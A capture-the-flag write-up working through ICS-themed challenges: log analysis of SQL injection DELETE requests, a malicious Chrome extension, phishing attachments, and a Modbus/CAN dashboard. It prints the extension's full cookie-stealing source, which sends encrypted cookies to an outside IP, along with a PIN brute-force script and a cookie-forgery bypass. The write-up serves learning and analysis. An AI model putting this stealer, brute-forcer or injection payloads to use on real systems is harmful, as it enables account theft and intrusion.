To solve this one, I filtered out all traffic from 192.168.4.146 & removed noise (css, login page, 404s, etc.) There was one file which was weird and which had a 200 code:

There were 404s of other config file extensions just prior so it doesn’t seem ‘normal’ therefore this was the attempted flag.

The Historian Channel – 3

Continuing on from that part in the log, we can see a lot of SQL-ish looking lines. I extracted only the ones with ‘delete’ in them and got a big mess of lines:

192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742353931%27%20as%20TEXT)%3B--&Submit=Submit" 500 269 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313733%27%20as%20TEXT)%3B--&Submit=Submit" 500 295 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742323937%27%20as%20TEXT)%3B--&Submit=Submit" 500 223 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745383138%27%20as%20TEXT)%3B--&Submit=Submit" 500 214 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743313236%27%20as%20TEXT)%3B--&Submit=Submit" 500 253 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744343736%27%20as%20TEXT)%3B--&Submit=Submit" 500 220 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741363837%27%20as%20TEXT)%3B--&Submit=Submit" 500 206 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741323639%27%20as%20TEXT)%3B--&Submit=Submit" 500 217 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743383030%27%20as%20TEXT)%3B--&Submit=Submit" 500 261 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742373337%27%20as%20TEXT)%3B--&Submit=Submit" 500 227 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333833%27%20as%20TEXT)%3B--&Submit=Submit" 500 225 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745393537%27%20as%20TEXT)%3B--&Submit=Submit" 500 217 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743353132%27%20as%20TEXT)%3B--&Submit=Submit" 500 238 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742343630%27%20as%20TEXT)%3B--&Submit=Submit" 500 256 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741363331%27%20as%20TEXT)%3B--&Submit=Submit" 500 259 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745373039%27%20as%20TEXT)%3B--&Submit=Submit" 500 257 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393039%27%20as%20TEXT)%3B--&Submit=Submit" 500 236 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745363137%27%20as%20TEXT)%3B--&Submit=Submit" 500 271 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742353137%27%20as%20TEXT)%3B--&Submit=Submit" 500 295 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313232%27%20as%20TEXT)%3B--&Submit=Submit" 500 224 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745353438%27%20as%20TEXT)%3B--&Submit=Submit" 500 281 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313839%27%20as%20TEXT)%3B--&Submit=Submit" 500 272 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742353933%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742373738%27%20as%20TEXT)%3B--&Submit=Submit" 500 227 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745373431%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333433%27%20as%20TEXT)%3B--&Submit=Submit" 500 283 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741393037%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745333439%27%20as%20TEXT)%3B--&Submit=Submit" 500 275 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742373530%27%20as%20TEXT)%3B--&Submit=Submit" 500 275 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743363135%27%20as%20TEXT)%3B--&Submit=Submit" 500 267 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745323330%27%20as%20TEXT)%3B--&Submit=Submit" 500 259 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742393736%27%20as%20TEXT)%3B--&Submit=Submit" 500 213 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745313538%27%20as%20TEXT)%3B--&Submit=Submit" 500 227 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744383233%27%20as%20TEXT)%3B--&Submit=Submit" 500 201 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743373635%27%20as%20TEXT)%3B--&Submit=Submit" 500 266 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742383236%27%20as%20TEXT)%3B--&Submit=Submit" 500 295 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742333237%27%20as%20TEXT)%3B--&Submit=Submit" 500 230 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333737%27%20as%20TEXT)%3B--&Submit=Submit" 500 211 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393639%27%20as%20TEXT)%3B--&Submit=Submit" 500 255 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745323335%27%20as%20TEXT)%3B--&Submit=Submit" 500 236 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313237%27%20as%20TEXT)%3B--&Submit=Submit" 200 1299 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744393833%27%20as%20TEXT)%3B--&Submit=Submit" 500 289 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745363933%27%20as%20TEXT)%3B--&Submit=Submit" 500 283 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743383238%27%20as%20TEXT)%3B--&Submit=Submit" 500 272 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744383232%27%20as%20TEXT)%3B--&Submit=Submit" 500 247 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393639%27%20as%20TEXT)%3B--&Submit=Submit" 200 1295 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745383534%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744383131%27%20as%20TEXT)%3B--&Submit=Submit" 500 242 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333436%27%20as%20TEXT)%3B--&Submit=Submit" 500 299 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313337%27%20as%20TEXT)%3B--&Submit=Submit" 500 235 "http://jubilifehistorian/alarms.php" 

A quick skim looking at these shows that most of them are receiving 500s. However, there are 2 with a 200 response:

192.168.4.146 – “GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313237%27%20as%20TEXT)%3B–&Submit=Submit” 200 1299 “http://jubilifehistorian/alarms.php”


192.168.4.146 – “GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393639%27%20as%20TEXT)%3B–&Submit=Submit” 200 1295 “http://jubilifehistorian/alarms.php”

There are some longer hex-looking values in there, decoding them to text gives us:

  1. 42313237 converts to B127
  2. 43393639 converts to C969

And those are the answers!

Chrome-Plated Nonsense

Chrome-Plated Nonsense – 1

The file is located here: https://drive.google.com/file/d/1KrB00vXEALmmvihV1SRbYWxXcUqVtEPm/view?usp=drive_link

I know nothing about chrome extensions but I looked for a CRX viewer online and was able to drop this in:

From here, we can see the JS which includes the IP and port of exfiltration!

Chrome-Plated Nonsense – 2

This one has a relatively more complex js:


v    ar destination = "http://192.88.99.24:8080/"
    // serializeCookie converts a cookie to string form
    function serializeCookie(cookie) {
        output = "[" + cookie.domain + "," + cookie.expirationDate + "," + cookie.hostOnly + ",";
        output += cookie.httpOnly + "," + cookie.name + "," + cookie.path + ",";
        output += cookie.sameSite + "," + cookie.secure + "," + cookie.session + ",";
        output += cookie.storeId + "," + cookie.value + "]";
        return output
    }
    // sendCookie serializes, encrypts, and sends a cookie
    function sendCookie(cookie) {
        var serializedCookie = "";
        var key = [];
        var encryptedCookie = [];
        var output = "";
        var opts = {
            'method': 'GET',
            'mode': 'no-cors'
        };
        // Serialize the cookie
        serializedCookie += serializeCookie(cookie);
        // Get key
        chrome.storage.local.get(["id"])
            .then((result) => {
                var keyString = result.id.slice(0, 4) + result.id.slice(-4, );
                key = keyString.split('');
                for (var i = 0; i < serializedCookie.length; i++) {
                    var charCode = serializedCookie.charCodeAt(i) ^ key[i % key.length].charCodeAt(0);
                    encryptedCookie.push(String.fromCharCode(charCode));
                }
                output = btoa(encryptedCookie.join(""));
                fetch(destination.concat(output), opts);
            });
    }
    // This will execute whenever a cookie is set or removed
    chrome.cookies.onChanged.addListener((changeInfo) => {
        if (changeInfo.cause == "explicit") {
            sendCookie(changeInfo.cookie);
        }
    });
    // This will execute when the extension is first installed
    chrome.runtime.onInstalled.addListener(() => {
        var opts = {
            'method': 'GET',
            'mode': 'no-cors'
        };
        chrome.system.cpu.getInfo((cpuInfo) => {
            chrome.system.memory.getInfo((memoryInfo) => {
                var info = "timestamp=" + Date.now()
                info += ",archName=" + cpuInfo.archName;
                info += ",modelName=" + cpuInfo.modelName;
                info += ",numOfProcessors=" + cpuInfo.numOfProcessors;
                info += ",availableCapacity=" + memoryInfo.availableCapacity
                info += ",capacity=" + memoryInfo.capacity;
                // Hash code adapted from https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/digest#converting_a_digest_to_a_hex_string
                const encoder = new TextEncoder();
                const data = encoder.encode(info);
                crypto.subtle.digest('SHA-256', data)
                    .then((digestBuffer) => {
                        const hashArray = Array.from(new Uint8Array(digestBuffer));
                        const uniqueId = hashArray.map((b) => b.toString(16)
                                .padStart(2, '0'))
                            .join('');
                        fetch(destination.concat(btoa("id=" + uniqueId + "," + info)), opts);
                        // Save ID in local storage
                        chrome.storage.local.set({
                                id: uniqueId
                            })
                            .then(() => {
                                // do nothing
                            });
                    });
            });
        });
    });

The extension file is here: https://drive.google.com/file/d/1dj7etitZ9B4akTYkoc8fjJx5_K6KC-fR/view?usp=sharing

From this, we can see that first we

Total Points for this Section: 1870

Snowpoint

This section was comprised of the following scenarios:

  • The Phish Tank – detection and analysis of phishing attacks from Snowpoint’s internal mail server
  • CAN You Fix It: Dashboard – analysis of a vehicle’s electronic control unit (ECU)
  • CAN You Fix It: Firmware – analysis of an ECU firmware
  • Modulation Interpretation Investigation – analysis of wireless protocol traffic

The Phish Tank

The Phish Tank – 1

They start us off with a Malcolm challenge, we can search for SMTP and look for what IPs sent the most or look at subject lines, this lets us get our answer.

The Phish Tank – 2

We can get this again by looking at Malcolm and filtering by the subject line.

From this, we can look at our extracted files from Arkime. I search based on the zeek.uid:

This has the text of:

This gets us our flag.

The Phish Tank – 3a

By looking at that IP we can again find the lookup information to pull the extracted file from SMTP:

I download the file and run binwalk -Me SMTP-FNYyzR1GG2L5WnBFx3-CTN9Fg3Os5dY2dpYJj-20230504181928.docx to extract any macros or other items of interest.

This found a binary file which was VB. I couldn’t decode it. On looking at the question again, I realized it was a Malcolm question. This just became a question of looking at the traffic from or two an ip in the 10.140.0.0/16 space.

The Phish Tank – 3b

Running strings on this pdf had an interesting section where we can see some embedded JS.

I went and put it in a browser and decoded it as best as I could and got this:


function decodeString(offset) {
    return function() {
        var r = Array.prototype.slice.call(arguments),
            t = r.shift();
        return r.reverse().map(function(r, o) {…
undefined
c80ac4f9c2 = (decodeString(1)(33, 137, 150, 151) + 995..toString(36)).toLowerCase() + decodeString(25)(28, 156, 163, 150);

feddc07405 = (decodeString(14)(14, 134) + 30..toString(36)).toLowerCase() + 
    decodeString(38)(4, 154) + 
    (1137788359..toString(36)).toLowerCase() + 
    (16..toString(36)).toLowerCase().split("").map(function(r) {
        return String.fromCharCode(r.charCodeAt() + -39)
    }).join("") + 
    decodeString(40)(36, 176, 186, 174, 179) + 
    (598116..toString(36)).toLowerCase() + 
    (30..toString(36)).toLowerCase().split("").map(function(r) {
        return String.fromCharCode(r.charCodeAt() + -71)
    }).join("") + 
    (921..toString(36)).toLowerCase() + 
    decodeString(57)(0, 174, 154);

b15d02c677 = (32788..toString(36)).toLowerCase() + 
    decodeString(56)(25, 198, 194, 201, 196) + 
    (13..toString(36)).toLowerCase();
"password"
console.log("c80ac4f9c2:", c80ac4f9c2);
console.log("feddc07405:", feddc07405);
console.log("b15d02c677:", b15d02c677);
c80ac4f9c2: username
feddc07405: [email protected]
b15d02c677: password

From this we can see the data would be sent to [email protected]

CAN You Fix It: Dashboard

CAN You Fix It: Dashboard – 1

This challenge gives us an interesting webpage to look at. From it we can see it seems to be listening on port 5020 and there is a field where we can put a pin in.

I looked into some modbus things and saw there were some python libraries for interfacing with it. Unfortunately, I was too greedy and tried to read too many coils and registers and stuff at once. This resulted in me thinking there were no values or the code wasn’t working.

This led me to write a script to bruteforce it….


import asyncio
import aiohttp
from tqdm.asyncio import tqdm_asyncio
from collections import defaultdict
import json

# Constants
URL = "http://challenges.icsjwgctf.com:5000/update_permissions"
DASHBOARD_URL = "http://challenges.icsjwgctf.com:5000/dashboard"

# Headers
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://challenges.icsjwgctf.com:5000",
    "Connection": "keep-alive",
    "Referer": DASHBOARD_URL,
    "Upgrade-Insecure-Requests": "1",
    "Sec-GPC": "1",
    "DNT": "1",
}

# Cookies
cookies = {
    "web": "c2680ace859ea7a827362d1b",
    "show_message": "false",
}

async def try_pin(session, pin):
    data = {"permission": f"{pin:05d}"}
    try:
        async with session.post(URL, headers=headers, cookies=cookies, data=data, allow_redirects=False) as response:
            content = await response.text()
            new_cookies = dict(response.cookies)
            headers_without_date = dict(response.headers)
            headers_without_date.pop('Date', None)  # Remove the 'Date' header
            return content, response.status, headers_without_date, new_cookies
    except aiohttp.ClientError as e:
        print(f"Error occurred for PIN {pin:05d}: {e}")
        return None, None, None, None

def get_differences(base, current):
    if base == current:
        return None
    if isinstance(base, dict) and isinstance(current, dict):
        return {k: current[k] for k in current if k not in base or base[k] != current[k]}
    return current

def hash_dict(d):
    return json.dumps(d, sort_keys=True)

async def main():
    print("Starting PIN brute force...")
    async with aiohttp.ClientSession() as session:
        base_content, base_status, base_headers, base_cookies = await try_pin(session, 0)
        if base_content is None:
            print("Failed to get base response. Exiting.")
            return

        semaphore = asyncio.Semaphore(80)  # Limit concurrent requests
        unique_differences = defaultdict(list)

        async def process_pin(pin):
            async with semaphore:
                content, status, headers, new_cookies = await try_pin(session, pin)
                if content is None:
                    return

                differences = {
                    "status": status if status != base_status else None,
                    "content": get_differences(base_content, content),
                    "headers": get_differences(base_headers, headers),
                    "cookies": get_differences(base_cookies, new_cookies)
                }

                differences = {k: v for k, v in differences.items() if v}
                if differences:
                    diff_key = hash_dict(differences)
                    unique_differences[diff_key].append(pin)

        tasks = [process_pin(pin) for pin in range(100000)]
        await tqdm_asyncio.gather(*tasks, total=100000)

    print("\nBrute force complete. Unique differences found:")
    for i, (diff_key, pins) in enumerate(unique_differences.items(), 1):
        print(f"\nUnique Difference Set {i}:")
        print(f"PINs: {', '.join(map(str, pins))}")
        differences = json.loads(diff_key)
        for key, value in differences.items():
            print(f"{key.capitalize()}:")
            print(value)

    print(f"\nTotal number of unique difference sets: {len(unique_differences)}")

if __name__ == "__main__":
    asyncio.run(main())

I’m positive this is not the way we were supposed to do it…but it worked.

Later on, I was able to actually write a script which did indeed find the correct value:

from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusException, ModbusIOException
from pymodbus.pdu import ExceptionResponse

def read_single_register(client, reg_type, address):
    try:
        if reg_type == "input_registers":
            result = client.read_input_registers(address, 1)
        elif reg_type == "holding_registers":
            result = client.read_holding_registers(address, 1)
        else:
            return None

        if isinstance(result, ExceptionResponse):
            return None
        elif isinstance(result, ModbusIOException):
            return None
        else:
            return result.registers[0] if result.registers else None

    except ModbusException:
        return None
    except Exception:
        return None

def read_registers(client, reg_type, address, count):
    try:
        if reg_type == "coils":
            result = client.read_coils(address, count)
        elif reg_type == "discrete_inputs":
            result = client.read_discrete_inputs(address, count)
        elif reg_type == "input_registers":
            result = client.read_input_registers(address, count)
        elif reg_type == "holding_registers":
            result = client.read_holding_registers(address, count)
        else:
            print(f"Invalid register type: {reg_type}")
            return

        if isinstance(result, ExceptionResponse):
            print(f"Error reading {reg_type} at address {address}: {result}")
        elif isinstance(result, ModbusIOException):
            print(f"ModbusIOException reading {reg_type} at address {address}: {result}")
        else:
            if hasattr(result, 'bits'):
                print(f"{reg_type.capitalize()} at address {address}: {result.bits[:count]}")
            elif hasattr(result, 'registers'):
                print(f"{reg_type.capitalize()} at address {address}: {result.registers}")
            else:
                print(f"Unexpected result type for {reg_type} at address {address}: {type(result)}")

    except ModbusException as e:
        print(f"Modbus exception occurred while reading {reg_type} at address {address}: {e}")
    except Exception as e:
        print(f"Unexpected error occurred while reading {reg_type} at address {address}: {e}")

def scan_registers(client, reg_type, start_address, end_address, step=1):
    print(f"\nScanning {reg_type} from address {start_address} to {end_address}")
    valid_registers = []

    for address in range(start_address, end_address + 1, step):
        value = read_single_register(client, reg_type, address)
        if value is not None:
            print(f"Valid {reg_type} found at address {address}: {value}")
            valid_registers.append((address, value))

    if not valid_registers:
        print(f"No valid {reg_type} found in the specified range.")
    else:
        print(f"Total valid {reg_type} found: {len(valid_registers)}")

    return valid_registers

def main():
    server_address = 'challenges.icsjwgctf.com'
    server_port = 5020

    client = ModbusTcpClient(server_address, port=server_port)

    try:
        if client.connect():
            print("Connected to the server successfully.")

            # Scan different types of registers with a wider range
            scan_registers(client, "input_registers", 0, 65535, step=1)
            scan_registers(client, "holding_registers", 0, 65535, step=1)

        else:
            print("Failed to connect to the server.")
    except Exception as e:
        print(f"An error occurred: {e}")
    finally:
        client.close()
        print("Connection closed.")

if __name__ == "__main__":
    main()

The last value here (39578) was the pin for admin mode. Incidentally, I found that the pin 1234 was the ‘basic’ user pin which caused you to get a cookie called ‘permission’ with the base64 value of ‘basic’. Once I found that, I put in the base64 of ‘administrator’ and it gave me the permissions without the pin. Unfortunately, I needed the PIN to unlock the rest of the challenges….

CAN You Fix It: Dashboard – 2

For this one, we look at the TCM part of the screen:

With admin mode we can see the various values down there. Two panels have 3 things off and 1 thing on (this looks like 0x4a0 and 0x4b2). The other one we see (4d5) seems to be incrementing 1 at a time, so looking at the bottom (ending with 0x1d) we convert that to a decimal number and subtract the listed one from that to get the flag.

CAN You Fix It: Dashboard – 3

This was a similar one, we need to send two messages, one for the windows, the other for the HVAC.

Here are those two screens:

Looking at this, we see some candidates with three fields (0x2b3 and 0x2a7) which have 0xff where lighting is ‘on’, 0x00 for where it is off and 0xb0 for where it is ‘fog lights’. We’re looking for the windows though and it looks like there are 5 windows in an open, open, open, closed, closed state. This seems to align with 0x2e5 (0x00 3 times and 0xff 2 times). We need to set this to all 0xff

For the second part, we look here:

It’s a matter of realizing that 0x6f1 deals with the Universal Climate Control and 0x6c4 deals with the Individual Climate Control. We can determine 6f1 is universal because there is a matching off, off, on pattern for the last 3 bytes. Similarly, if we look at the decimal representation of 0x50 and 0x55 in 6c4 we can see that those are values like 80 and 85 which match the temperatures we’re seeing in ‘Individual’

So the answer to the first part is 2e5:ffffffffff (5 ‘closed’ windows on 0x2e5)
The answer on the second part is: 6c4:4600460046d0 (46 for ’70 degrees’ based on the decimal number, 00 for ‘off’ which matches the 4th byte in the bottom 0x6c4 example), and d0 for ‘Max’ (assuming 00 is off, which we’ve seen before; a0=low, b0=medium, c0=high, d0=max; again based on looking at other data samples in the traffic across different screends).

This makes the final flag: 2e5:ffffffffff;6c4:460046004600d0

CAN You Fix It: Dashboard – 4

This one was a simple one given that I had already realized the ‘permission’ cookie was based on the words ‘basic’, ‘diagnostics’ or ‘administrator’ from the initial homescreen in challenge one where we put in the pin. With the administrator cookie you get the button to see the firmware:

Flag: 1.553c

CAN You Fix It: Firmware

This is the section which got us as a team and what kept us from getting a 100% on the ctf 🙁

CAN You Fix It: Firmware – 1

The file can be found here: https://drive.google.com/file/d/1D7RaGeZLJB3FDb-_VqAwgHv_2hzpCahP/view?usp=sharing

Opening in Ghidra, we can see a larger function here:

